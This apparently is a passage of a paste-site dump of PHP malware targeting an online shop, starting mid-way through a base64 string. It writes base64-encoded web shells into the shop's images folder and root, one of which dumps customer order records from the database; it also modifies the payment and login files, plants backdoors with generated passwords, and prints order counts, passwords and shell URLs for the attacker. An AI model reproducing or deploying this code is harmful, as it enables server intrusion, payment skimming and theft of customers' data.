9leGlzdHMoJGZpbGUpKQogICAgewogICAgICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZpbGUpKSwgLTQpOwogICAgfQogICAgZWxzZQogICAgewogICAgICAgIHJldHVybiAiPz8/PyI7CiAgICB9Cn0KCmZ1bmN0aW9uIGdldF9jb2xvcigkZmlsZSkKewppZihpc193cml0YWJsZSgkZmlsZSkpIHsgcmV0dXJuICJncmVlbiI7fQppZighaXNfd3JpdGFibGUoJGZpbGUpICYmIGlzX3JlYWRhYmxlKCRmaWxlKSkgeyByZXR1cm4gIndoaXRlIjt9CmlmKCFpc193cml0YWJsZSgkZmlsZSkgJiYgIWlzX3JlYWRhYmxlKCRmaWxlKSkgeyByZXR1cm4gInJlZCI7fQoKfQoKZnVuY3Rpb24gc2hvd19kaXJzKCR3aGVyZSkKewogICAgaWYoZXJlZygiXmM6IixyZWFscGF0aCgkd2hlcmUpKSkKICAgIHsKICAgICRkaXJwYXJ0cyA9IGV4cGxvZGUoIlxcIixyZWFscGF0aCgkd2hlcmUpKTsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICRkaXJwYXJ0cyA9IGV4cGxvZGUoIi8iLHJlYWxwYXRoKCR3aGVyZSkpOwogICAgfQogICAgCiAgICAKICAgIAogICAgJGkgPSAwOwogICAgJHRvdGFsID0gIiI7CiAgICAKICAgIGZvcmVhY2goJGRpcnBhcnRzIGFzICRwYXJ0KQogICAgewogICAgICAgICRwID0gMDsKICAgICAgICAkcHJlID0gIiI7CiAgICAgICAgd2hpbGUoJHAgIT0gJGkpCiAgICAgICAgewogICAgICAgICAgICAkcHJlIC49ICRkaXJwYXJ0c1skcF0uIi8iOwogICAgICAgICAgICAkcCsrOwogICAgICAgICAgICAKICAgICAgICB9CiAgICAgICAgJHRvdGFsIC49ICI8YSBocmVmPVwiIi5iYXNlbmFtZShfX0ZJTEVfXykuIj9kaXI9Ii4kcHJlLiRwYXJ0LiJcIj4iLiRwYXJ0LiI8L2E+LyI7CiAgICAgICAgJGkrKzsKICAgIH0KICAgIAogICAgcmV0dXJuICI8aDI+Ii4kdG90YWwuIjwvaDI+PGJyPiI7Cgp9CnByaW50ICRmb290ZXI7CgpleGl0KCk7Cj8+Cg==";
- $str = base64_decode($str);
- $str = str_replace("7eefc59ba958ce1a2fcd0d804de53b18", $hash2, $str);
- $handle = @fopen($path."images/osm.php", "w");
- if(fwrite($handle, $str) === FALSE)
- $r = false;
- else
- $r = true;
- fclose($handle);
- return $r;
- }
- function write_o3(){
- GLOBAL $path;
- $str = "PD9waHANCiRzY3JpcHQgPSBiYXNlbmFtZShfX0ZJTEVfXyk7DQokZnVsbHBhdGggPSAkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl07DQokcG9zaXRpb24gPSBzdHJwb3MoJGZ1bGxwYXRoLCAkc2NyaXB0KTsNCiRwYXRoID0gc3Vic3RyKCRmdWxscGF0aCwgMCwgJHBvc2l0aW9uKTsNCg0KJHBhdGggPSBzdHJfcmVwbGFjZSgiaW1hZ2VzLyIsICIiLCAkcGF0aCk7DQokcGF0aCA9IHN0cl9yZXBsYWNlKCJkb3dubG9hZC8iLCAiIiwgJHBhdGgpOw0KJHBhdGggPSBzdHJfcmVwbGFjZSgidGVtcGxhdGVzLyIsICIiLCAkcGF0aCk7DQokcGF0aCA9IHN0cl9yZXBsYWNlKCJ0ZW1wLyIsICIiLCAkcGF0aCk7DQokcGF0aCA9IHN0cl9yZXBsYWNlKCJ0bXAvIiwgIiIsICRwYXRoKTsNCj8+DQo8SFRNTD4NCjxIRUFEPg0KPFRJVExFPk9TSCBtaW5pPC9USVRMRT4NCjxzdHlsZSBUWVBFPSJ0ZXh0L2NzcyI+DQo8IS0tDQpCT0RZLCBQLCBURCB7IGZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IHRleHQtdHJhbnNmb3JtOiBub25lOyB9DQppbnB1dCwgdGV4dGFyZWEsIHNlbGVjdCB7Zm9udDogbm9ybWFsIDEwcHggdmVyZGFuYTt9DQphIHsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyAgY29sb3I6ICMwMDAwMDA7fQ0KYTpob3ZlciB7IGNvbG9yOiAjNmY5OWYyOyB9DQphOmFjdGl2ZSB7IGNvbG9yOiAjNmY5OWYyOyB9DQogLS0+DQo8L3N0eWxlPg0KPC9IRUFEPg0KPEJPRFkgQkdDT0xPUj0jQ0NDQ0NDIExFRlRNQVJHSU49MSBUT1BNQVJHSU49MSBNQVJHSU5XSURUSD0xMCBNQVJHSU5IRUlHSFQ9MTA+DQo8YnI+PGJyPg0KPD9waHANCmlmKGZpbGVfZXhpc3RzKCRwYXRoLiJpbmNsdWRlcy9jb25maWd1cmUucGhwIikpIGluY2x1ZGUoJHBhdGguImluY2x1ZGVzL2NvbmZpZ3VyZS5waHAiKTsNCmVsc2Ugew0KCWVjaG8gIkVSUk9SIjsNCgl1bmxpbmsoJHNjcmlwdCk7DQoJZXhpdDsNCn0NCg0KbXlzcWxfY29ubmVjdChEQl9TRVJWRVIsIERCX1NFUlZFUl9VU0VSTkFNRSwgREJfU0VSVkVSX1BBU1NXT1JEKTsJDQpteXNxbF9zZWxlY3RfZGIoREJfREFUQUJBU0UpOw0KaWYoZGVmaW5lZCgiREJfVEFCTEVfUFJFRklYIikpICRwcmVmaXggPSBEQl9UQUJMRV9QUkVGSVg7DQppZihkZWZpbmVkKCJEQl9QUkVGSVgiKSkgJHByZWZpeCA9IERCX1BSRUZJWDsNCgkNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAiLiRwcmVmaXguIm9yZGVycyBPUkRFUiBCWSBvcmRlcnNfaWQgREVTQyIpOw0KaWYoISRyZXN1bHQpew0KCWRpZSgiUXVlcnkgdG8gc2hvdyBmaWVsZHMgZnJvbSB0YWJsZSBmYWlsZWQiKTsNCn0NCiRmaWVsZHNfbnVtID0gbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCmVjaG8gIjx0YWJsZSBib3JkZXI9JzEnPjx0cj4iOw0KZm9yKCRpPTA7ICRpPCRmaWVsZHNfbnVtOyAkaSsrKXsNCgkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCgkcmVzdWx0KTsNCgllY2hvICI8dGQ+eyRmaWVsZC0+bmFtZX08L3RkPiI7DQp9DQplY2hvICI8L3RyPlxuIjsNCg0KJGMgPSAwOw0Kd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSl7DQoJJGMrKzsNCgllY2hvICI8dHI+IjsgDQoJZm9yZWFjaCgkcm93IGFzICRjZWxsKQ0KCQllY2hvICI8dGQ+JGNlbGw8L3RkPiI7DQoJZWNobyAiPC90cj5cbiI7DQoJaWYoJGM+MTAwKSBicmVhazsNCn0NCg0KZWNobyAiPC90YWJsZT4iOw0KDQp1bmxpbmsoJHNjcmlwdCk7DQo/Pg0KPC9CT0RZPg0KPC9IVE1MPg==";
- $str = base64_decode($str);
- $handle = @fopen($path."images/osh3.php", "w");
- if(fwrite($handle, $str) === FALSE)
- $r[1] = false;
- else
- $r[1] = true;
- fclose($handle);
- $handle = @fopen($path."osh3.php", "w");
- if(fwrite($handle, $str) === FALSE)
- $r[2] = false;
- else
- $r[2] = true;
- fclose($handle);
- return $r;
- }
- delete_phps();
- $password = getUniqueCode();
- $hash = md5(md5($password));
- $password2 = getUniqueCode();
- $hash2 = md5(md5($password2));
- get_info();
- $o = write_o3();
- if($o[1] == true && $o[2] == true) $o3 = $pageURL."osh3.php"."<>".$pageURL."images/osh3.php";
- else if($o[1] == true && $o[2] == false) $o3 = $pageURL."images/osh3.php";
- else if($o[1] == false && $o[2] == true) $o3 = $pageURL."osh3.php";
- else $o3 = "no";
- $file = get_payment_file();
- if($file == false){
- echo "string:infinity<br>ERROR1<br>o3:$o3<br>";
- exit;
- }
- if(!write_payment($file)){
- echo "string:infinity<br>ERROR2<br>o3:$o3<br>";
- exit;
- }
- write_login();
- if(!write_bd()) $password = "";
- if(!write_bd2()) $password2 = "";
- echo "string:infinity<br>orders:$orders<br>customers:$customers<br>country:$country<br>pass:$password<br>pass2:$password2<br>o3:$o3<br>";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment